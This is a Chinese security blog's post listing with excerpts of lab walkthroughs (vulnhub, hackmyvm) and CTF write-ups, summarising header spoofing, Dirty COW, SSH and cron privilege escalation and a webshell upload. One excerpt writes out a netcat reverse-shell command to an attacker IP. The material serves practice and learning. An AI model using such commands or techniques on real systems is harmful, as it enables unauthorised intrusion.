- 博客(11)
- 收藏
- 关注
RSS订阅原创 Wireshark(WireMCP) Windows Codebuddy 配置教程
✅ 步骤逻辑正确，安装勾选项无错误；为什么必须装 Wireshark——WireMCP 依赖tshark实现 PCAP 离线解析、实时流量抓取，没有 Wireshark 整套工具链，WireMCP 完全无法分析抓包文件。
2026-06-18 14:18:47
702
原创 vulnhub-my and my girl friend
摘要：使用arp-scan发现靶机后，Nmap扫描显示80端口开放但仅限本地访问。通过X-Forwarded-For绕过限制，发现登录界面并注册账号（使用Alice作为用户名）。成功登录后尝试SSH连接，获取flag1。最后通过提权操作获得flag2。整个渗透过程涉及网络扫描、HTTP头伪造和权限提升技术。
2026-03-27 17:31:45
19
原创 hackmyvm-jan
摘要：本文介绍了渗透测试靶机的简要流程。首先使用nmap扫描发现80端口开放，尝试目录扫描未果后转向URL探测。通过SSH服务发现可无密码执行root命令，进而利用SSH重启漏洞，替换私钥并将StrictModes设为no，最终成功通过SSH登录获取flag。整个过程展示了从端口扫描到权限提升的完整攻击链。
2026-03-27 17:11:23
37
原创 vulnhub-lampiao
有Dirty COW漏洞 ，拿到root密码。在里面发现了个log文件，猜测是日志文件。Drupal，之前dc1一样的漏洞。在home里发现tiago用户。扫到个1898端口，进去看看。
2026-03-23 14:04:07
30
原创 vulunhub-buster
当 gobuster 运行时，它会读取 a.txt 中的每一行（在这里只有一行：/tmp/b），并将其与你指定的 URL (http://192.168.1.199:8000) 进行拼接，然后发起请求。在靶机tmp下设置一个a.txt里写入tmp/b,和一个可执行文件b,里面写入 nc -e /bin/bash 192.168.1.199 4444 以便于我们将.test.sh定时文件改成 tmp/b,以至于到时间会自动运行b文件从而给我们弹出shell。从这个命令篡改/opt/.test.sh。
2026-03-18 18:38:50
231
原创 软件系统安全赛-华南赛区初赛-steganography_challenge
摘要：通过分析异常文件头发现7z压缩包，修改偏移后提取出PNG图像。使用zsteg工具检测到flag.zip，但需删除多余字节0F060000才能解压。解压后获得Python脚本，通过CRC32暴力破解获取密码。最终在flag.txt中发现异常字符"flagishere"及348个宽字符，可能存在隐写信息需要进一步解码。整个过程涉及文件头分析、压缩包修复、CRC碰撞攻击和隐写术检测技术。
2026-03-18 16:19:53
38
原创 软件系统安全赛-华南赛区初赛-re2
在0s4070c0 ‘c7aed86f92410445a14803c3051485170e4acf62d5e6d5bf834fede17c5af033’手动解密得dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}会发现很多地方像乱码，说明这两个节在运行时会被解密。查看字符，发现可疑字符串和base64码。生成了stage2.bin。加密是 RC4，密钥。
2026-03-17 17:36:45
49
原创 2025长城杯-ezflag
动调输入答案看看，发现生成flag越来越慢（不能靠动调生成）输入的v6与V3rySte0n.........比。F是斐波那契数列模16的前24位。用DIE查壳，无壳，拖入ida。原本要循环a1次，优化一下。套上flag{}即可。
2026-03-17 17:15:54
45
原创 vulnhub-hackable
发现files，我们试试ftp可不可以上传文件到files。匿名登入ftp上传webshell，同时nc监听。发现home下面的文件（一个用户，一个提示）发现直接用不行，md5解密一下。发现网页第一件事，就是扫目录。py3.5有权限，网上搜命令。发现开了ftp和http。发现shrek的密码。
2026-01-04 13:16:38
297
原创 vulnhub-dc-1
你刚才用的那个方法，很可能可以直接用来拿到root目录下的flag。提示”不要只盯着一种攻击方式，你已经获得了一些关键信息（凭证），现在需要思考如何创造性地使用它们来获得进一步的访问权限。这个脚本是用php写的，而且还能用php加参数运行，直接得到加密后的密码，这里我们设置一个密码123456。flag4早就能发现了，但是最好按顺序找flag，因为提示都是一步一步来。直接把加密后的密文修改到数据库，这样我们就修改密码为123456了。提示"每个优秀的CMS都需要一个配置文件 —— 你也一样。
2025-12-31 21:47:46
302
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人